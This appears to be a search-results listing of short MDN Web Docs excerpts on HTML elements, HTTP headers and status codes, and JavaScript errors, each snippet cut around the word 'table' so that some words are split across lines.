table>. you name it!</p> </div> the result looks like this: a styled example this example creates a shadowed box by applying a style to the <div> using css. note the use of the class attribute on the <div> to apply the style named "shadowbox" to the element. html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { ...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
ontent ??? tag omission none, both the starting and ending tag are mandatory. permitted parent elements ??? dom interface htmlelement attributes this element includes the global attributes. specifications the <element> element was formerly in a draft specification of custom elements but it has been removed. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetelement deprecatednon-standardchrome ? ...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
he resource should be downloaded after other higher-priority page resources. loading indicates how the browser should load the iframe: eager: load the iframe immediately, regardless if it is outside the visible viewport (this is the default value). lazy: defer loading of the iframe until it reaches a calculated distance from the viewport, as defined by the browser. name a targe
table name for the embedded browsing context. this can be used in the target attribute of the <a>, <form>, or <base> elements; the formtarget attribute of the <input> or <button> elements; or the windowname parameter in the window.open() method. referrerpolicy indicates which referrer to send when fetching the frame's resource: no-referrer: the referer header will not be sent. no-referrer-when-...
<input type="email"> - HTML: Hypertext Markup Language
tic validation that the entered text is at least in the correct form to potentially be a legitimate e-mail address. this can help avoid cases in which the user mistypes their address, or provides an invalid address. it's important, however, to note that this is not enough to ensure that the specified text is an e-mail address which actually exists, corresponds to the user of the site, or is accep
table in any other way. it simply ensures that the value of the field is properly formatted to be an e-mail address. note: it's also crucial to remember that a user can tinker with your html behind the scenes, so your site must not use this validation for any security purposes. you must verify the e-mail address on the server side of any transaction in which the provided text may have any security im...
<input type="file"> - HTML: Hypertext Markup Language
cently added to firefox, in version 57 (see bug 1384030). limiting accepted file types often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. for example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as jpeg or png. accep
table file types can be specified with the accept attribute, which takes a comma-separated list of allowed file extensions or mime types. some examples: accept="image/png" or accept=".png" — accepts png files. accept="image/png, image/jpeg" or accept=".png, .jpg, .jpeg" — accept png or jpeg files. accept="image/*" — accept any file with an image/* mime type. (many mobile devices also let the...
<input type="hidden"> - HTML: Hypertext Markup Language
th would prove that they are who they say they are, and that they are using the correct form to submit the transfer request. this would stop a malicious user from creating a fake form, pretending to be a bank, and emailing the form to unsuspecting users to trick them into transferring money to the wrong place. this kind of attack is called a cross site request forgery (csrf); pretty much any repu
table server-side framework uses hidden secrets to prevent such attacks. as stated previously, placing the secret in a hidden input doesn't inherently make it secure. the key's composition and encoding would do that. the value of the hidden input is that it keeps the secret associated with the data and automatically includes it when the form is sent to the server. you need to use well-designed secret...
<input type="month"> - HTML: Hypertext Markup Language
born in?</label> <input id="bday-month" type="month" name="bday-month" min="1900-01" max="1999-12"> </form> the result here is that: only months between in january 1900 and december 1999 can be selected; months outside that range can't be scrolled to in the control. depending on what browser you are using, you might find that months outside the specified range might not be selec
table in the month picker (e.g. edge), or invalid (see validation) but still available (e.g. chrome). controlling input size <input type="month"> doesn't support form sizing attributes such as size. you'll have to resort to css for sizing needs. validation by default, <input type="month"> does not apply any validation to entered values. the ui implementations generally don't let you enter anything...
<input type="number"> - HTML: Hypertext Markup Language
put can be implemented like this: <label for="ticketnum">number of tickets you would like to buy:</label> <input id="ticketnum" type="number" name="ticketnum" value="0"> a number input is considered valid when empty and when a single number is entered, but is otherwise invalid. if the required attribute is used, the input is no longer considered valid when empty. note: any number is an accep
table value, as long as it is a valid floating point number (that is, not nan or infinity). placeholders sometimes it's helpful to offer an in-context hint as to what form the input data should take. this can be especially important if the page design doesn't offer descriptive labels for each <input>. this is where placeholders come in. a placeholder is a value most commonly used to provide a hint a...
<input type="radio"> - HTML: Hypertext Markup Language
by default, radio buttons (and checkboxes) are styled with the operating system's native styles for those controls. by specifying appearance: none, you can remove the native styling altogether, and create your own styles for them. here we've used a border along with border-radius and a transition to c...
<input type="tel"> - HTML: Hypertext Markup Language
the <datalist> provides a list of predefined values to suggest to the user for this input. any values in the list that are not compatible with the type are not included in the suggested options. the values p...
<input type="text"> - HTML: Hypertext Markup Language
ings in use). this does not set a limit on how many characters the user can enter into the field. it only specifies approximately how many can be seen at a time. to set an upper limit on the length of the input data, use the maxlength attribute. spellcheck spellcheck is a global attribute which is used to indicate whether or not to enable spell checking for an element. it can be used on any edi
table content, but here we consider specifics related to the use of spellcheck on <input> elements. the permitted values for spellcheck are: false disable spell checking for this element. true enable spell checking for this element. "" (empty string) or no value follow the element's default behavior for spell checking. this may be based upon a parent's spellcheck setting or other factors. an ...
<input type="week"> - HTML: Hypertext Markup Language
making week values required in addition you can use the required attribute to make filling in the week mandatory. as a result, supporting browsers will display an error if you try to submit an empty week field. let's look at an example; here we've set minimum and maximum weeks, and also made the field required: <form> <div> <label for="week">what week would you l...
<isindex> - HTML: Hypertext Markup Language
links rather than documents started by dan connolly who is pushing the idea that indexes are more links than documents. in this thread, different type of solutions are proposed. the question of forms for making queries is mentioned in reference to dynatext browser: "the browser displays toggle buttons, text fields etc. the user fills in the fields, clicks ok, and the query results come up in the
table of contents window." a thread about isindex in november 1992, kevin hoadley questioned the need for an isindex element and proposed to drop it. he proposed to have instead an input element (idea supported by steve putz). tim berners-lee explains the purpose of isindex resulting in aggregated search results. kevin replies that he doesn't like the boolean nature of isindex and would prefer a syste...
<link>: The External Resource Link element - HTML: Hypertext Markup Language
al attributes. as this attribute is only used when rel="preload" or rel="prefetch" has been set on the <link> element. it specifies the type of content being loaded by the <link>, which is necessary for request matching, application of correct content security policy, and setting of correct accept request header. furthermore, rel="preload" uses this as a signal for request prioritization. the
table below lists the valid values for this attribute and the elements or resources they apply to. value applies to audio <audio> elements document <iframe> and <frame> elements embed <embed> elements fetch fetch, xhr this value also requires <link> to contain the crossorigin attribute. ...
<listing> - HTML: Hypertext Markup Language
ing monospace as the generic-font value in a font-family property. attributes this element has no other attributes than the global attributes, common to all elements. dom interface this element implements the htmlelement interface. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interface for this element. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlisting deprecatedchrome no support ...
<menu> - HTML: Hypertext Markup Language
d <ul> elements both represent an unordered list of items. the key difference is that <ul> primarily contains items for display, whilst <menu> is intended for interactive items, to act on. an html menu can be used to create context menus (typically activated by right-clicking another element) or toolbars. context menus consist of a <menu> element which contains <menuitem> elements for each selec
table option in the menu, <menu> elements for submenus within the menu, and <hr> elements for separator lines to break up the menu's content into sections. context menus are then attached to the element they're activated from using either the associated element's contextmenu attribute or, for button-activated menus attached to <button> elements, the menu attribute. toolbar menus consist of a <menu> el...
<nav>: The Navigation Section element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. ...
<object> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap attribute, interactive content; listed, submit
table form-associated element. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, image dom interface ht...
<optgroup> - HTML: Hypertext Markup Language
more content. permitted parents a <select> element. implicit aria role group permitted aria roles no role permitted dom interface htmloptgroupelement note: optgroup elements may not be nested. attributes this element includes the global attributes. disabled if this boolean attribute is set, none of the items in this option group is selec
table. often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones. label the name of the group of options, which the browser can use when labeling the options in the user interface. this attribute is mandatory if this element is used. examples <select> <optgroup label="group 1"> <option>option 1.1</option> </optgroup> <optgroup ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
tegories flow content, palpable content. permitted content phrasing content. tag omission the start tag is required. the end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <
table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a> element. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlparagraphelement attributes this element only includes the global attrib...
<script>: The Script element - HTML: Hypertext Markup Language
the <script> element can also be used with other languages, such as webgl's glsl shader programming language and json. content categories metadata content, flow content, phrasing content. permitted content dynamic script such as text/javascript. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts metadata content, or any element that accepts phrasing content. ...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
checked. if the type attribute is specified, it's compared against the types the user agent can present, and if it's not recognized, the server doesn't even get queried; instead, the next <source> element is checked at once. when used in the context of a <picture> element, the browser will fall back to using the image specified by the <picture> element's <img> child if it is unable to find a sui
table image to use after examing every provided <source>. usage notes the <source> element is an empty element (or void element), which means that it not only has no content but also has no closing tag. that is, you never use "</source>" in your html. for information about image formats supported by web browsers and guidance on selecting appropriate formats to use, see our image file type and format...
<sup>: The Superscript element - HTML: Hypertext Markup Language
de (but aren't necessarily limited to): displaying exponents, such as "x3." it may be worth considering the use of mathml for these, especially in more complex cases. see exponents under examples below. displaying superior lettering, which is used in some languages when rendering certain abbreviations. for example, in french, the word "mademoiselle" can be abbreviated "mlle"); this is an accep
table use case. see superior lettering for examples. representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples. examples exponents exponents, or powers of a number, are among the most common uses of superscripted text. for example: <p>one of the most common equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting o...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
extra background information. for example the text at the beginning of the star wars films, or the date, time, and location of a scene. captions closed captions provide a transcription and possibly a translation of audio. it may include important non-verbal information such as music cues or sound effects. it may indicate the cue's source (e.g. music, text, character). sui
table for users who are deaf or when the sound is muted. descriptions textual description of the video content. sui
table for users who are blind or where the video cannot be seen. chapters chapter titles are intended to be used when the user is navigating the media resource. metadata tracks used by scripts. not visible to the user. labe...
<video>: The Video Embed element - HTML: Hypertext Markup Language
d transcripts that accurately describe its content (see adding captions and subtitles to html5 video for more information on how to implement these). captions allow people who are experiencing hearing loss to understand a video's audio content as the video is being played, while transcripts allow people who need additional time to be able to review audio content at a pace and format that is comfor
table for them. it's worth noting that while you can caption audio-only media, you can only do so when playing audio in a <video> element, since the video region of the element is used to present the captions. this is one of the special scenarios in which it's useful to play audio in a video element. if automatic captioning services are used, it is important to review the generated content to ensure ...
accesskey - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. ...
itemprop - HTML: Hypertext Markup Language
lue pair is called a property, and a group of one or more properties forms an item. property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source> , <track>, and <video>. examples the example below shows the source for a set of elements marked up with itemprop attributes, followed by a
table showing the resulting structured data. html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data ...
itemref - HTML: Hypertext Markup Language
ditional properties the itemref attribute can only be specified on elements that have an itemscope attribute specified. note: the itemref attribute is not part of the microdata data model. it is merely a syntactic construct to aid authors in adding annotations to pages where the data to be annotated does not follow a convenient tree structure. for example, it allows authors to mark up data in a
table so that each column defines a separate item while keeping the properties in the cells. example html <div itemscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span> </p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span> </p> <p>size: <span itemprop="size">12</span> players</p> </div> ...
itemscope - HTML: Hypertext Markup Language
g/movie", and specifies three related itemprop attributes. <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following
table shows the structured data from the preceding example. itemscope itemtype movie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id attributes when you specify the item...
lang - HTML: Hypertext Markup Language
the attribute contains a single “language tag” in the format defined in tags for identifying languages (bcp47). the default value of lang is unknown, therefore it is recommended to always specify this attribute with the appropriate value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
spellcheck - HTML: Hypertext Markup Language
></textarea>. if this attribute is not set, its default value is element-type and browser-defined. this default value may also be inherited, which means that the element content will be checked for spelling errors only if its nearest ancestor has a spellcheck state of true. this attribute is merely a hint for the browser: browsers are not required to check for spelling errors. typically non-edi
table elements are not checked for spelling errors, even if the spellcheck attribute is set to true and the browser supports spellchecking. specifications specification status comment html living standardthe definition of 'spellcheck' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'spellcheck' in tha...
title - HTML: Hypertext Markup Language
e example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data
tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements. multiline titles the title attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, ...
HTML: Hypertext Markup Language
age, getting you used to important concepts and syntax such as looking at applying html to text, how to create hyperlinks, and how to use html to structure a web page. multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages. html
tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic
table markup, along with more complex features such as implementing captions and summaries. html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending fee...
Data URLs - HTTP
text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a comma before the "data" segment, or to incorrectly encode the data into base64 format. formatting in html a data url provides a file within a file, which can potentially be very wide relative to the width of the enclosing document. as a url, the data should be forma
table with whitespace (linefeed, tab, or spaces), but there are practical issues that arise when using base64 encoding. length limitations although firefox supports data urls of essentially unlimited length, browsers are not required to support any particular maximum length of data. for example, the opera 11 browser limited urls to 65535 characters long which limits data urls to 65529 characters (655...
Identifying resources on the Web - HTTP
r with the request. usage notes when using urls in html content, you should generally only use a few of these url schemes. when referring to subresources — that is, files that are being loaded as part of a larger document — you should only use the http and https schemes. increasingly, browsers are removing support for using ftp to load subresources, for security reasons. ftp is still accep
table at the top level (such as typed directly into the browser's url bar, or the target of a link), although some browsers may delegate loading ftp content to another application. examples https://developer.mozilla.org/docs/learn tel:+1-816-555-1212 git@github.com:mdn/browser-compat-data.git ftp://example.org/resource.txt urn:isbn:9780141036144 mailto:help@supercyberhelpdesk.info specifications ...
HTTP caching - HTTP
ching targets). common forms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files. permanent redirects: a 301 (moved permanently) response. error responses: a 404 (not found) result page. incomplete results: a 206 (partial content) response. responses other than get if something sui
table for use as a cache key is defined. a cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. for more details see the information about the vary header below. controlling caching the cache-control header the cache-control http/1.1 general-header field is used to specify directives for caching mechanisms i...
Compression in HTTP - HTTP
ay for the user. video formats on the web are lossy; the jpeg image format is also lossy. some formats can be used for both loss-less or lossy compression, like webp, and usually lossy algorithm can be configured to compress more or less, which then of course leads to less or more quality. for better performance of a web site, it is ideal to compress as much as possible, while keeping an accep
table level of quality. for images, an image generated by a tool could be not optimized enough for the web; it is recommended to use tools that will compress as much as possible with the required quality. there are numerous tools that are specialized for this. lossy compression algorithms are usually more efficient than loss-less ones. as compression works better on a specific kind of files, it usua...
HTTP conditional requests - HTTP
e clients, of the server, and even of the human editing the document at the client. the winner will change from one time to the next. this is a race condition and leads to problematic behaviors, which are difficult to detect and to debug: there is no way to deal with this problem without annoying one of the two clients. however, lost updates and race conditions are to be avoided. we want predic
table results, and expect that the clients are notified when their changes are rejected. conditional requests allow implementing the optimistic locking algorithm (used by most wikis or source control systems). the concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. all su...
Accept-Charset - HTTP
ncodings, uses it, and informs the client of its choice within the content-type response header, usually in a charset= parameter. browsers usually don't send this header, as the default value for each resource is usually correct and transmitting it would allow fingerprinting. if the server cannot serve any character encoding from this request header, it can theoretically send back a 406 not accep
table error code. but for a better user experience, this is rarely done and the accept-charset header is ignored. in early versions of http/1.1, a default character encoding was defined: iso-8859-1. this is no longer recommended, and now each content-type may have its own default. utf-8 is now well-supported and the overwhelmingly preferred character encoding. to guarantee better privacy through les...
Accept-Language - HTTP
that the server never overrides an explicit decision. the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface. if the server cannot serve any matching language, it can theoretically send back a 406 (not accep
table) error code. but, for a better user experience, this is rarely done and more common way is to ignore the accept-language header in this case. header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can only be 0-9, a-z, a-z, space or *,-.;=. syntax accept-language: <language> a...
Content-Encoding - HTTP
nix distributions, this content-encoding is not used by many browsers today, partly because of a patent issue (it expired in 2003). deflate using the zlib structure (defined in rfc 1950) with the deflate compression algorithm (defined in rfc 1951). identity indicates the identity function (i.e., no compression or modification). this token, except if explicitly specified, is always deemed accep
table. br a format using the brotli algorithm. examples compressing with gzip on the client side, you can advertise a list of compression schemes that will be sent along in an http request. the accept-encoding header is used for negotiating content encoding. accept-encoding: gzip, deflate the server responds with the scheme used, indicated by the content-encoding response header. content-encod...
Digest - HTTP
bidden header name no syntax digest: <digest-algorithm>=<digest-value> digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value> directives <digest-algorithm> supported digest algorithms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512. some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not sui
table for applications in which collision-resistance is important. <digest-value> the result of applying the digest algorithm to the resource representation and encoding the result. the choice of digest algorithm also determines the encoding to use: for example sha-256 uses base64 encoding. examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrj...
Strict-Transport-Security - HTTP
ts preload list : nsstspreloadlist.inc examples all present and future subdomains will be https for a max-age of 1 year. this blocks access to pages or sub domains that can only be served over http. strict-transport-security: max-age=31536000; includesubdomains in the following example, max-age is set to 2 years, raised from what was a former limit max-age of 1 year. note that 1 year is accep
table for a domain to be included in browsers' hsts preload lists. 2 years is, however, the recommended goal as a website's final hsts configuration as explained on https://hstspreload.org. it also suffixed with preload which is necessary for inclusion in most major web browsers' hsts preload lists, e.g. chromium, edge, & firefox. strict-transport-security: max-age=63072000; includesubdomains; preload...
Transfer-Encoding - HTTP
el-ziv coding (lz77), with a 32-bit crc. this is originally the format of the unix gzip program. the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes. identity indicates the identity function (i.e. no compression, nor modification). this token, except if explicitly specified, is always deemed accep
table. examples chunked encoding chunked encoding is useful when larger amounts of data are sent to the client and the total size of the response may not be known until the request has been fully processed. for example, when generating a large html
table resulting from a database query or when transmitting large images. a chunked response looks like this: http/1.1 200 ok content-type: text/plain t...
Want-Digest - HTTP
igest: <digest-algorithm> // multiple algorithms, weighted with the quality value syntax: want-digest: <digest-algorithm><q-value>,<digest-algorithm><q-value> directives <digest-algorithm> supported digest algorithms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512. some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not sui
table for applications in which collision-resistance is important. <q-value> the quality value to apply to that option. examples want-digest: sha-256 want-digest: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation the sender provides a list of digests which it is prepared to accept, and the server uses one of them: request: get /item want-digest: sha-256;q=0.3, sha;q=1 response: http/...
X-Content-Type-Options - HTTP
used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed. this is a way to opt out of mime type sniffing, or, in other words, to say that the mime types are deliberately configured. this header was introduced by microsoft in ie 8 as a way for webmasters to block content sniffing that was happening and could transform non-execu
table mime types into execu
table mime types. since then, other browsers have introduced it, even if their mime sniffing algorithms were less aggressive. starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a content-type is provided. this can cause html web pages to be downloaded instead of being rendered when they are served with a mime type other than t...
OPTIONS - HTTP
in this example, we will request permission for these parameters: the access-control-request-method header sent in the preflight request tells the server that when the actual request is sent, it will have a post request method. the access-control-request-headers header tells the server that when the actual request is sent, it will have the x-pingother and content-type hea...
POST - HTTP
the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value. non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not sui
table to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. the keys are given in the content-disposition header of each part. text/plain when the post request is sent via a method other than an html form — like via an xmlhttprequest — the body can...
HTTP resources and specifications - HTTP
rfc 7232 hypertext transfer protocol (http/1.1): conditional requests proposed standard rfc 7233 hypertext transfer protocol (http/1.1): range requests proposed standard rfc 7234 hypertext transfer protocol (http/1.1): caching proposed standard rfc 5861 http cache-control extensions for stale content informational rfc 8246 http immu
table responses proposed standard rfc 7235 hypertext transfer protocol (http/1.1): authentication proposed standard rfc 6265 http state management mechanism defines cookies proposed standard draft spec cookie prefixes ietf draft draft spec same-site cookies ietf draft draft spec deprecate modification of 'secure' cookies fro...
103 Early Hints - HTTP
ts information response status code is primarily intended to be used with the link header to allow the user agent to start preloading resources while the server is still preparing a response. syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. no compatibility data found. please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository. ...
307 Temporary Redirect - HTTP
to a put method that is not the uploaded resources, but a confirmation message (like "you successfully uploaded xyz"). the only difference between 307 and 302 is that 307 guarantees that the method and the body will not be changed when the redirected request is made. with 302, some old clients were incorrectly changing the method to get: the behavior with non-get methods and 302 is then unpredic
table on the web, whereas the behavior with 307 is predic
table. for get requests, their behavior is identical. status 307 temporary redirect specifications specification title rfc 7231, section 6.4.7: 307 temporary redirect hypertext transfer protocol (http/1.1): semantics and content ...
HTTP response status codes - HTTP
m an unauthorized client. this response code is probably the most famous one due to its frequent occurrence on the web. 405 method not allowed the request method is known by the server but has been disabled and cannot be used. for example, an api may forbid delete-ing a resource. the two mandatory methods, get and head, must never be disabled and should not return this error code. 406 not accep
table this response is sent when the web server, after performing server-driven content negotiation, doesn't find any content that conforms to the criteria given by the user agent. 407 proxy authentication required this is similar to 401 but authentication is needed to be done by a proxy. 408 request timeout this response is sent on an idle connection by some servers, even without any previous req...
HTTP
ient opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/ip layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like udp does. rudp — the reliable update of udp — is a sui
table alternative. tutorials learn how to use http with guides and tutorials. overview of http the basic features of the client-server protocol: what it can do and its intended uses. http cache caching is very important for fast web sites. this article describes different methods of caching and how to use http headers to control them. http cookies how cookies work is defined by rfc 6265. wh...
Enumerability and ownership of properties - JavaScript
on(prop) { if (props.indexof(prop) === -1 && includepropcb(obj, prop)) { props.push(prop); } }); } if (!iterateprototypebool) { break; } iterateselfbool = true; } while (obj = object.getprototypeof(obj)); return props; } }; detection
table in for..in obj.hasownproperty obj.propertyisenumerable object.keys object.getownpropertynames object.getownpropertydescriptors reflect.ownkeys() enumerable true true true true true true true true nonenumerable true false true false false true true true symbols keys true false ...
Details of the object model - JavaScript
mpile time or at run time. you cannot change the number or the type of properties of a class after you define the class. in javascript, however, at run time you can add or remove properties of any object. if you add a property to an object that is used as the prototype for a set of objects, the objects for which it is the prototype also get the new property. summary of differences the following
table gives a short summary of some of these differences. the rest of this chapter describes the details of using javascript constructors and prototypes to create an object hierarchy and compares this to how you would do it in java. comparison of class-based (java) and prototype-based (javascript) object systems category class-based (java) prototype-based (javascript) clas...
Using Promises - JavaScript
urn x; }. now we have a single deterministic chain with proper error handling. using async/await addresses most, if not all of these problems—the tradeoff being that the most common mistake with that syntax is forgetting the await keyword. when promises and tasks collide if you run into situations in which you have promises and tasks (such as events or callbacks) which are firing in unpredic
table orders, it's possible you may benefit from using a microtask to check status or balance out your promises when promises are created conditionally. if you think microtasks may help solve this problem, see the microtask guide to learn more about how to use queuemicrotask() to enqueue a function as a microtask. ...
JavaScript technologies overview - JavaScript
ication also defines restrictions on documents; for example, it requires all children of a <ul> element, which represents an unordered list, to be <li> elements, as those represent list items. in general, it also forbids using elements and attributes that aren't defined in a standard. looking for the document object, window object, and the other dom elements? read the dom documentation. other no
table apis the settimeout and setinterval functions were first specified on the window interface in html standard. xmlhttprequest makes it possible to send asynchronous http requests. the css object model abstract css rules as objects. webworkers allows parallel computation. websockets allows low-level bidirectional communication. canvas 2d context is a drawing api for <canvas>. ...
Memory Management - JavaScript
tion() { someelement.style.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation. var d = new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a new string // since strings are immu
table values, // javascript may decide to not allocate memory, // but just store the [0, 3] range. var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', 'nan nan']; var a3 = a.concat(a2); // new array with 4 elements being // the concatenation of a and a2 elements. using values using values basically means reading and writing in allocated memory. this can be done by reading or writing the val...
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
r: property "x" is non-configurable and can't be deleted. (firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only. what went wrong? it was attempted to delete a property, but that property is non-configurable. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than wri
table) can be changed. this error happens only in strict mode code. in non-strict code, the operation returns false. examples attempting to delete non-configurable properties non-configurable properties are not super common, but they can be created using object.defineproperty() or object.freeze(). 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); delete obj.score; // typeerror '...
TypeError: can't redefine non-configurable property "x" - JavaScript
the javascript exception "can't redefine non-configurable property" occurs when it was attempted to redefine a property, but that property is non-configurable. message typeerror: cannot modify non-wri
table property {x} (edge) typeerror: can't redefine non-configurable property "x" (firefox) typeerror: cannot redefine property: "x" (chrome) error type typeerror what went wrong? it was attempted to redefine a property, but that property is non-configurable. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than wri
table) can be changed. usually, properties in an object created by an object initializer are configurable. however, for example, when using object.defineproperty(), the property isn't configurable by default...
TypeError: invalid assignment to const "x" - JavaScript
s = 80; // ... let columns = 120; scoping check if you are in the correct scope. should this constant appear in this scope or was it meant to appear in a function, for example? const columns = 80; function setupbigscreenenvironment() { const columns = 120; } const and immutability the const declaration creates a read-only reference to a value. it does not mean the value it holds is immu
table, just that the variable identifier cannot be reassigned. for instance, in case the content is an object, this means the object itself can still be altered. this means that you can't mutate the value stored in a variable: const obj = {foo: 'bar'}; obj = {foo: 'baz'}; // typeerror: invalid assignment to const `obj' but you can mutate the properties in a variable: obj.foo = 'baz'; obj; // object...
TypeError: "x" is not a non-null object - JavaScript
l descriptor parameter expects a property descriptor object. providing no object (like just a number), will throw an error: object.defineproperty({}, 'key', 1); // typeerror: 1 is not a non-null object object.defineproperty({}, 'key', null); // typeerror: null is not a non-null object a valid property descriptor object might look like this: object.defineproperty({}, 'key', { value: 'foo', wri
table: false }); weakmap and weakset objects require object keys weakmap and weakset objects store object keys. you can't use other types as keys. var ws = new weakset(); ws.add('foo'); // typeerror: "foo" is not a non-null object use objects instead: ws.add({foo: 'bar'}); ws.add(window); ...
TypeError: can't delete non-configurable array element - JavaScript
ome) error type typeerror what went wrong? it was attempted to shorten the length of an array, but one of the array's elements is non-configurable. when shortening an array, the elements beyond the new array length will be deleted, which failed in this situation. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than wri
table) can be changed. usually, properties in an object created by an array initializer are configurable. however, for example, when using object.defineproperty(), the property isn't configurable by default. examples non-configurable properties created by object.defineproperty the object.defineproperty() creates non-configurable properties by default if you haven't specified them as configurable. ...
TypeError: "x" is not a constructor - JavaScript
